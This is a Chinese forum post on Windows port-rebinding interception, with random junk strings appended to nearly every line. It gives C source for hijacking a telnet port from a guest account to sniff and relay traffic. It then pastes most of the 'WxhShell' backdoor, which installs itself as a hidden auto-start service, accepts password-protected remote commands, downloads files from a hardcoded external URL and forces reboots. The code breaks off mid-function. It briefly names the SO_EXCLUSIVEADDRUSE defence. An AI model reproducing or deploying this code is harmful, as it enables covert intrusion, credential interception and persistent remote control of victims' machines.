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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: iu9<]1k  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); (- QvlpZ  
|h6u%t2AY  
  saddr.sin_family = AF_INET; {)L*\r  
]XS[\qo  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY);  3 UX/  
)@,zG(t5;  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); qwomc28O  
L$ki>._i\  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 d09qZj>  
2k]Jkd,E  
  这意味着什么?意味着可以进行如下的攻击: &hco3HfW  
pX LXkF?  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 @}+F4Xh,L  
ZK p9k6  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) T5gL  
#P)(/>nF  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 u P&<  
Mr6q7  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  l?Qbwv}  
D]StDOmM  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 "t!_b ma  
N}rc3d#  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 XKQ\Ts2<k  
P'<D0   
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 31)eDs  
lKyeG(  
  #include =_:Mx'7  
  #include sb"h:i>O4  
  #include kmZ  U;Z  
  #include    vZJu =t  
  DWORD WINAPI ClientThread(LPVOID lpParam);   aP}30E*Y  
  int main() 59X'-fg,  
  { Y0Bd[  
  WORD wVersionRequested; mi& mQQ  
  DWORD ret; f~ -qjEWm  
  WSADATA wsaData; X*QQVj  
  BOOL val; 2Cgq&\wS  
  SOCKADDR_IN saddr; NS3qNj  
  SOCKADDR_IN scaddr; 3@8Zy:[8<  
  int err; kl[Jt)"4@  
  SOCKET s; oa q!<lI  
  SOCKET sc; 4E 0 Y=  
  int caddsize; l37) Q  
  HANDLE mt; 5kdh!qy[$,  
  DWORD tid;   qw35LyL  
  wVersionRequested = MAKEWORD( 2, 2 ); tuIQiWHbM  
  err = WSAStartup( wVersionRequested, &wsaData ); <#>{7" }  
  if ( err != 0 ) { 8d|#W  
  printf("error!WSAStartup failed!\n"); +txHj(Y`  
  return -1; W%_Cda5,  
  } >V|KS(}s  
  saddr.sin_family = AF_INET; 'eDV-cB  
   %RD%AliO}K  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 ]7:*A7/!.  
+ X0db  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); -hpC8YS  
  saddr.sin_port = htons(23); )gPkL r  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) Zv^n  
  { xI( t!aYp  
  printf("error!socket failed!\n"); >yr1wVS  
  return -1; sRaTRL2  
  } t^5xq8w8  
  val = TRUE; L/*K4xQ  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 ^6i,PRScS  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) \l71Q/y6u`  
  { H*R4AE0  
  printf("error!setsockopt failed!\n"); aYrbB#  
  return -1; 6)j/"9oY  
  } o%_Hmd;_'  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; dSPye z  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 Uf\,U8UB  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 1%Su~Z"W>  
|Q*OA  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) 7I;A5f  
  { eccJt  
  ret=GetLastError(); ,f)#&}x*2+  
  printf("error!bind failed!\n"); @0&KM|+  
  return -1; Ro :)N:C  
  } "Kc1@EX=  
  listen(s,2); RElIWqgY  
  while(1) a*bAf'=  
  { Su*f`~G];  
  caddsize = sizeof(scaddr); 3\E G  
  //接受连接请求 >))K%\p   
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); 6#up BF:  
  if(sc!=INVALID_SOCKET) L7OFZ|gUz  
  { 9D,/SZ-v  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); rJw Ws  
  if(mt==NULL) y\@INA^  
  { 1T/ 72+R0  
  printf("Thread Creat Failed!\n"); r"bV{v  
  break; ;q&2$Mb  
  } Y_,Tm  
  } <m0m8p"G  
  CloseHandle(mt); $8WeWmY  
  } Rg%Xy`gS  
  closesocket(s); :b"&Rc&s.  
  WSACleanup(); `9mc+  
  return 0; T07 AH  
  }   80"oT'ZFh  
  DWORD WINAPI ClientThread(LPVOID lpParam) fir#5,*q|  
  { W-<`Vo'  
  SOCKET ss = (SOCKET)lpParam; (o518fmR  
  SOCKET sc; +6Ye'IOG  
  unsigned char buf[4096]; rbc7CPq_^  
  SOCKADDR_IN saddr; 35n'sVn  
  long num; 9O|k|FD  
  DWORD val; ]/{iIS_  
  DWORD ret; V@pUU~6R  
  //如果是隐藏端口应用的话,可以在此处加一些判断 nQ08(8  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   Wiere0 2*  
  saddr.sin_family = AF_INET; }S 6h1X  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); PasVfC@  
  saddr.sin_port = htons(23); {-1N@*K  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) 'H-hp   
  { YYF.0G}  
  printf("error!socket failed!\n"); 3T~DeqAyw  
  return -1; c!]Q0ib6  
  } g>;"Fymc'  
  val = 100; q_z;kCHM  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) =h,J!0Y  
  { bA\(oD+:  
  ret = GetLastError(); xwa@h}\#  
  return -1; 46gDoSS  
  } u-@;Q<v$  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) NS){D7T  
  { z C 7b  
  ret = GetLastError(); vf?Xt  
  return -1; GsU.Lkf  
  } N fND@m{/  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) ', P_a,\  
  { 9;fs'R  
  printf("error!socket connect failed!\n"); =+w/t9I[  
  closesocket(sc); &/8B (0<  
  closesocket(ss); qflOi8  
  return -1; <{IeCir  
  } TFDzTD  
  while(1) jKb4d9aX  
  { N14Q4v-*x  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 FB2{qG3  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 Wn&9R j  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 ZwM d 22  
  num = recv(ss,buf,4096,0); 3u/ GrsF  
  if(num>0) N*SUA4bnuM  
  send(sc,buf,num,0); D*t[5,~j  
  else if(num==0) 6f)7*j~  
  break; vQ8$C 3  
  num = recv(sc,buf,4096,0); j<A<\K  
  if(num>0) gUH|?@f  
  send(ss,buf,num,0); @T] G5|\ok  
  else if(num==0) S2:G#%EAa  
  break; JfRqOEP4Y  
  } ufo\p=pGG  
  closesocket(ss); &Xi] 0\M)  
  closesocket(sc); ]sJjV A  
  return 0 ; Uj^Y\w-@Z  
  } j+[oZfH  
5h6-aQU[  
T[kS;-x  
========================================================== i4lB ]k  
&n]]OPo  
下边附上一个代码,,WXhSHELL [~ !9t9+~  
W4"1H0s`l  
========================================================== )!=fy']  
\-D[C+1(  
#include "stdafx.h" jJAr #|  
CEJqo8ds  
#include <stdio.h> F%$l cQ04%  
#include <string.h> F`CDv5  
#include <windows.h> Sobp;OZ5  
#include <winsock2.h> X0]Se(  
#include <winsvc.h> WF-^pfRq~  
#include <urlmon.h> I].ddR%  
7>f)pfLM  
#pragma comment (lib, "Ws2_32.lib") &/?OP)N,}  
#pragma comment (lib, "urlmon.lib") `d4;T|f+=  
2XyC;RWJ%  
#define MAX_USER   100 // 最大客户端连接数 DI[  
#define BUF_SOCK   200 // sock buffer !eP0b~$/^J  
#define KEY_BUFF   255 // 输入 buffer _ygdv\^Tet  
DTl&V|h$  
#define REBOOT     0   // 重启 .J?RaH{i  
#define SHUTDOWN   1   // 关机 ik5"9b-\<  
Awe'MGp%  
#define DEF_PORT   5000 // 监听端口 ekd;sEO  
ihD|e&  
#define REG_LEN     16   // 注册表键长度 2=$ F*B>9  
#define SVC_LEN     80   // NT服务名长度 2{S*$K[M  
f!G%$?]  
// 从dll定义API ;ZTh(_7  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); XsX];I{E,  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); 'y7<!uo?  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); ^_/gM[H.  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); YGhHIziI  
eBqF@'DQ  
// wxhshell配置信息 3935cxT1U  
struct WSCFG { aT8A +=K6  
  int ws_port;         // 监听端口 H>wXQ5?W;  
  char ws_passstr[REG_LEN]; // 口令 D0yH2[j+  
  int ws_autoins;       // 安装标记, 1=yes 0=no o<rbC < U  
  char ws_regname[REG_LEN]; // 注册表键名 !L)yI#i4C  
  char ws_svcname[REG_LEN]; // 服务名 )2J#pz?.  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 EUS^Gtc  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 1-Q>[Uz,  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 ceAefKdb  
int ws_downexe;       // 下载执行标记, 1=yes 0=no Ryn@">sVI  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" u?KG%  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 M1I4Ot  
tDtqTB}  
}; Qm4cuV-0{  
^+Njz{rpG  
// default Wxhshell configuration z5W;-sCz  
struct WSCFG wscfg={DEF_PORT, J7k=5Fqej;  
    "xuhuanlingzhe", zwK$ q=-:  
    1, Tx(=4ALY  
    "Wxhshell", 7eG@)5Uy  
    "Wxhshell", ,.V=y%  
            "WxhShell Service", i}>} %l|  
    "Wrsky Windows CmdShell Service", Oyp)Wm;@  
    "Please Input Your Password: ", }3R:7N`,|  
  1, 9mEhZ"  
  "http://www.wrsky.com/wxhshell.exe", %3T:W\h  
  "Wxhshell.exe" GuQ#  
    }; yn04[PN2  
>HRLL\u9  
// 消息定义模块 ;V^I>-fnm  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; C3b<Wa])  
char *msg_ws_prompt="\n\r? for help\n\r#>"; 29NP!W /g  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; Hr/J6kyB)  
char *msg_ws_ext="\n\rExit."; 2>im'x 5  
char *msg_ws_end="\n\rQuit."; MJ.Kor  
char *msg_ws_boot="\n\rReboot..."; Yy_mX}\x  
char *msg_ws_poff="\n\rShutdown..."; :s|xa u=  
char *msg_ws_down="\n\rSave to "; m^4Ojik  
Ps~)l#gue  
char *msg_ws_err="\n\rErr!"; bj FND]p?w  
char *msg_ws_ok="\n\rOK!"; q[+V6n `Z5  
W |+&K0M  
char ExeFile[MAX_PATH]; #J%Fi).^)  
int nUser = 0; [Rzn>  
HANDLE handles[MAX_USER]; [}y"rs`!  
int OsIsNt; Zk0?=f?j  
?{>5IjL)en  
SERVICE_STATUS       serviceStatus; Job&qW9W`  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; EiWd =jDm  
v[>8<z8  
// 函数声明 Ms A)Y  
int Install(void); !De U8.%  
int Uninstall(void); @4jPaqa(  
int DownloadFile(char *sURL, SOCKET wsh);  #uuNH(  
int Boot(int flag); #}xPOz7:  
void HideProc(void);  DIh[%  
int GetOsVer(void); -3C$br  
int Wxhshell(SOCKET wsl); F-Ywl)  
void TalkWithClient(void *cs); ~PCS_  
int CmdShell(SOCKET sock); T7Yg^ -"  
int StartFromService(void); cQ/T:E7$`  
int StartWxhshell(LPSTR lpCmdLine); s=n_(}{ q  
<@=w4\5j9  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); w4Ku1G#jC  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); _2WIi/6K  
M:w]g`LKl  
// 数据结构和表定义 kYkck]|  
SERVICE_TABLE_ENTRY DispatchTable[] = u!cA_,  
{ T\L LOx\  
{wscfg.ws_svcname, NTServiceMain}, p fg>H  
{NULL, NULL} IeBb#Qedz  
}; :#UN^"(m}  
q|e<b  
// 自我安装 b!g8NG  
int Install(void) I)4NCjcCw  
{ V _pKe~  
  char svExeFile[MAX_PATH]; 5@~5RNrq2  
  HKEY key; LU@+O12  
  strcpy(svExeFile,ExeFile); RTTEAh:.  
'w}/ o+x@  
// 如果是win9x系统,修改注册表设为自启动 |*zvaI(}  
if(!OsIsNt) { [R Hji47  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ">S.~'ds  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); +6 x:+9S  
  RegCloseKey(key); ^os|yRzV*M  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ow,=M%x"0  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); +#ANc;2g  
  RegCloseKey(key); ~kPZh1n`  
  return 0; $ -f(.S  
    } j~Ubpf  
  } 3/2G~$C  
} r$-]NYPi  
else { vm"dE4W=  
F% K}&3  
// 如果是NT以上系统,安装为系统服务 gnU##Km|  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); +4k7ti1Qb  
if (schSCManager!=0) q=cH ^`<.  
{ G-sA)WOF  
  SC_HANDLE schService = CreateService y&+Sp/6BYA  
  ( 44cy_  
  schSCManager, ]}dAm S/  
  wscfg.ws_svcname, NeY,Of|  
  wscfg.ws_svcdisp, woR }=\K  
  SERVICE_ALL_ACCESS, kM/;R)3t4/  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , ;923^*\:F{  
  SERVICE_AUTO_START, Mhze !!  
  SERVICE_ERROR_NORMAL, b `.h+=3  
  svExeFile, JV9Ft,xk  
  NULL, '} LAZQ"  
  NULL, !Ql&Ls  
  NULL, z c, Q  
  NULL, 6B>H75S+H  
  NULL /h73'"SpDy  
  ); JD$;6Jv3P  
  if (schService!=0) W=T,hOyh<W  
  { QOY M/1U  
  CloseServiceHandle(schService); 8&9'1X5)8_  
  CloseServiceHandle(schSCManager); ;yg9{"O  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); 2:& [r*  
  strcat(svExeFile,wscfg.ws_svcname); Tof H =d  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { j4.deQ,  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); 4';(\42  
  RegCloseKey(key); |#-GH$.v  
  return 0; 4 g^oy^~  
    } }z8HS< #Q  
  } n:[GK_  
  CloseServiceHandle(schSCManager); 9dD;Z$x&Xk  
} zAdZXa[MRY  
} ]AzDkKj  
uPtS.j=  
return 1; "+:IA|1wD  
} Se-n#  
\)n'Ywr  
// 自我卸载 >0qe*4n|M  
int Uninstall(void) G8_|w6  
{ . 'rC'FT  
  HKEY key; SV96eYT<  
vS'5Lm  
if(!OsIsNt) { ,\n%e'  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { A&6qt  
  RegDeleteValue(key,wscfg.ws_regname); C| Vz `FY  
  RegCloseKey(key); |cUBS)[)X  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { iZ-"l3) D  
  RegDeleteValue(key,wscfg.ws_regname); |VD}:  
  RegCloseKey(key); > H(o=39s  
  return 0; vL"[7'  
  } fbK`A?5K  
} ON<X1eU  
} OAXF=V F#  
else { vtVc^j4  
b^]@8I[M  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); L@HWm;aN  
if (schSCManager!=0) n:wZL&ZV0  
{ Gt;59}  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); G;3N"az  
  if (schService!=0) OwM.N+ z#T  
  { * >XmJ6w  
  if(DeleteService(schService)!=0) { oaJnLd90W  
  CloseServiceHandle(schService); c$HZvv  
  CloseServiceHandle(schSCManager); ESAFsJ$r;  
  return 0; s5'So@L8  
  } 6:vdo~  
  CloseServiceHandle(schService); Xm! ;  
  } Iib39?D W  
  CloseServiceHandle(schSCManager); i5 F9*  
} R87e"m/C%  
} g x~fZOF_  
 9> k-";  
return 1; fer~NlX  
} o7W1sD1O  
=^LX,!2zp{  
// 从指定url下载文件 >AT T<U=  
int DownloadFile(char *sURL, SOCKET wsh) hO@VYO   
{ 7D%}( pX  
  HRESULT hr; a yQB@2%  
char seps[]= "/"; ;K9rE3  
char *token; oH|<(8efD  
char *file; .;xt{kK  
char myURL[MAX_PATH]; AH#eoKu  
char myFILE[MAX_PATH]; =whYo?cE(  
cc^[ u+  
strcpy(myURL,sURL); y=)xo7 (  
  token=strtok(myURL,seps); NJ{M-K%>  
  while(token!=NULL) b];p/V# <  
  { $M=W`E[g  
    file=token; }}'0r2S  
  token=strtok(NULL,seps); V]$Tbxg  
  } (NBq!;_2,x  
?yq1\G)]  
GetCurrentDirectory(MAX_PATH,myFILE); .s !qf!{V`  
strcat(myFILE, "\\"); fudIUG.  
strcat(myFILE, file); o@&d d NO  
  send(wsh,myFILE,strlen(myFILE),0); l6lyRJ  
send(wsh,"...",3,0); hh<Es|v  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); Tp7slKc0p  
  if(hr==S_OK) 41[1_p(  
return 0; xrPC  
else  qg+bh  
return 1; /{9"O y7E  
_a 40lcP  
} VV1I2YcKt  
\)Bws `  
// 系统电源模块 5/),HGxi  
int Boot(int flag) )Q%hd|R  
{ #AJo75E%  
  HANDLE hToken; ![,W?  
  TOKEN_PRIVILEGES tkp; _s_%}8o  
*uq}jlD`!  
  if(OsIsNt) { >[ox|_o  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); ?Hd/!I&  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); mw*BaDN@Q  
    tkp.PrivilegeCount = 1; Tl9;KE|  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; fv",4L  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); c= }#8d.  
if(flag==REBOOT) { LZB=vc|3/  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) LPNJuz  
  return 0; _K?{DnTb  
} 2/c^3[ccR  
else { rI E m  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) 2yyJ19Iul  
  return 0; $C;)Tlh  
} dSkW[r9Z%l  
  } E?z~)0z2`  
  else { ^at X/  
if(flag==REBOOT) { cN5,\I.  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) !A\Qwg>  
  return 0; \MA 4>  
} $bd&$@sA  
else { azxGUS_i<  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) #Wz7ju;  
  return 0; w)hH8jx{  
} &ZRriqsQg  
} EC4RA'Bg1k  
.qcIl)3  
return 1; POtj6 ?a  
} Q3$AL@".  
 jx3J$5  
// win9x进程隐藏模块 cBO.96ZHE  
void HideProc(void) &pCNOHi|  
{ [a<u cJ  
XPhC*r  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); )r)3.|wJm  
  if ( hKernel != NULL ) H 40~i=.  
  { 7( &\)qf=n  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); !`rR;5&sT  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); ^rmcyy8;g  
    FreeLibrary(hKernel); ?J<V-,i  
  } .FarKW  
l1&NU'WW  
return; ;w/|5 ;{A;  
} NT^m.o~4  
LB1AjNJ  
// 获取操作系统版本 "lFS{7  
int GetOsVer(void) ^11y8[[  
{ 6i6m*=h  
  OSVERSIONINFO winfo; 9Dq^x&z(  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); P,|%7'?Y  
  GetVersionEx(&winfo); ]>33sb S6  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) JfJLJ(}  
  return 1; I,*zZNv Ri  
  else ;PO{ ips  
  return 0; c==5cMUg  
} !&$uq|-  
(^:0g.~c  
// 客户端句柄模块 Y-Zw'  
int Wxhshell(SOCKET wsl) L*Gk1'  
{ wN|;_~h2  
  SOCKET wsh; T=EHue$  
  struct sockaddr_in client; `Dck$  
  DWORD myID; DHUK_#!  
|# _F  
  while(nUser<MAX_USER) 'UYxVh9D  
{ %yj z@  
  int nSize=sizeof(client); 5 (Lw-_y#  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); _</>`P[  
  if(wsh==INVALID_SOCKET) return 1; *kmD/J  
\i*QKV<  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); H+ P&} 3  
if(handles[nUser]==0) x:7"/H|  
  closesocket(wsh); J <"=c z$  
else y_>l'{w3^  
  nUser++; n#2tFuPE  
  } ^~3u|u  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); CNo'qlvF5N  
e ej:  
  return 0; lo1<t<w`  
} D#=$? {w  
_ (U|Kpi  
// 关闭 socket ^V1.Y  
void CloseIt(SOCKET wsh) \iBEyr]  
{ K@JGGgrE`!  
closesocket(wsh); kBh*@gf  
nUser--; ~HFqAOr  
ExitThread(0); ;;^OKrzWW  
} >TB"Ez09  
G`/5=  
// 客户端请求句柄 kB2]Z}   
void TalkWithClient(void *cs) P}2i[m.*,  
{ 3 #8bG(  
f: j9ze  
  SOCKET wsh=(SOCKET)cs; G^G= .9O  
  char pwd[SVC_LEN]; )p$a1\ ~m  
  char cmd[KEY_BUFF]; I@$cw3  
char chr[1]; '7oWN,-  
int i,j; yHXQCWY{8;  
}T)0:DF1,  
  while (nUser < MAX_USER) { ]^ e4coC  
I"=a:q  
if(wscfg.ws_passstr) { c#ahFpsnlw  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 6njwrqo  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); F}f/cG<X  
  //ZeroMemory(pwd,KEY_BUFF); qZV.~F+  
      i=0; aUGRFK_6$  
  while(i<SVC_LEN) { 8_d>=*(  
R{3?`x!fY  
  // 设置超时 bAUruTn  
  fd_set FdRead; O`;e^PhN  
  struct timeval TimeOut; [Yq*DkW  
  FD_ZERO(&FdRead); Y"n$d0%  
  FD_SET(wsh,&FdRead); 1edeV48{:  
  TimeOut.tv_sec=8; IO@Ti(,  
  TimeOut.tv_usec=0; &y} ]^wB  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); ^$!H|  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); P^)J^{r  
Z\\'0yuY(  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ^Fn~@'  
  pwd=chr[0]; B24,;2J  
  if(chr[0]==0xd || chr[0]==0xa) { xJ);P.  
  pwd=0; 7;8#iS/  
  break; CDT%/9+-  
  } ]8m_+:`=  
  i++; 6T qs6*  
    } 7)i6L'r  
-p-<mC@<&S  
  // 如果是非法用户,关闭 socket V-7A80!5  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); RBA{!  
}  CJ~gE"  
tO@n3"O  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); ?V{AP&#M$x  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); $`wo8A|)  
Iq[ d5)M4  
while(1) { Rxf.@E  
DNyU]+\L[l  
  ZeroMemory(cmd,KEY_BUFF); >Oz~j>jL  
>jBa  
      // 自动支持客户端 telnet标准   M>yt\qbkA  
  j=0; Qy!;RaA3T  
  while(j<KEY_BUFF) { Ih;I&D+e;  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); zm&?G  
  cmd[j]=chr[0]; mdB~~j  
  if(chr[0]==0xa || chr[0]==0xd) { NbyXi3@v  
  cmd[j]=0; ;bMmJ>[l-  
  break; `{B<|W$=  
  } W]-c`32~S  
  j++; >T)#KQ1t  
    } ol7^T  
TwT@_~ IM  
  // 下载文件 :~ ; 48m  
  if(strstr(cmd,"http://")) { B.oD9 <9  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); y.6Yl**l  
  if(DownloadFile(cmd,wsh)) rHMr8,J;  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); c+bOp 05o-  
  else 6a%dq"5 +  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ?j:g.a+U  
  } +vSp+X1E  
  else { \G~<O071  
fJdTVs@  
    switch(cmd[0]) { {Rv0@)P$  
  XZew$Om[  
  // 帮助 *;0Ods+IcY  
  case '?': { ,QZNH?Cp/  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); 5/f"dX  
    break; gNj~o^6|@  
  } <`P7^ 'z!  
  // 安装 z7PmyU >  
  case 'i': { q(n PI  
    if(Install()) 0+m4 }]6l  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); <W2 YG6^i  
    else dJf#j?\[  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); _KSlIgQ }0  
    break; @@QB,VS;{<  
    } ol#4AU`  
  // 卸载 so]p1@K  
  case 'r': { "P9SW?',  
    if(Uninstall()) W02t6DW  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); +DR,&;  
    else _C&XwC Im  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); jFwu&e[9;  
    break; Frd`u .I  
    } [izP1A$r#Q  
  // 显示 wxhshell 所在路径  ()`cW>[  
  case 'p': { 7+c}D>/`:  
    char svExeFile[MAX_PATH]; Ce.*yO<-  
    strcpy(svExeFile,"\n\r"); pLtAusx  
      strcat(svExeFile,ExeFile); hVLV Mqd  
        send(wsh,svExeFile,strlen(svExeFile),0); 0V!@*Z  
    break; |j w{7\+  
    } p8bAz  
  // 重启 |3K]>Lio  
  case 'b': { y=k!>Y|E  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); -q")qNt.  
    if(Boot(REBOOT)) 1!"iN~  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); T{B\1|2w  
    else { YX,xC-37y  
    closesocket(wsh); mzH3Q564  
    ExitThread(0); :3 p&h[M  
    } @Z[XV"w|  
    break; U+7!Vpq  
    } C<"b99\2`  
  // 关机 \1[v-hvK  
  case 'd': { !`S61~gE  
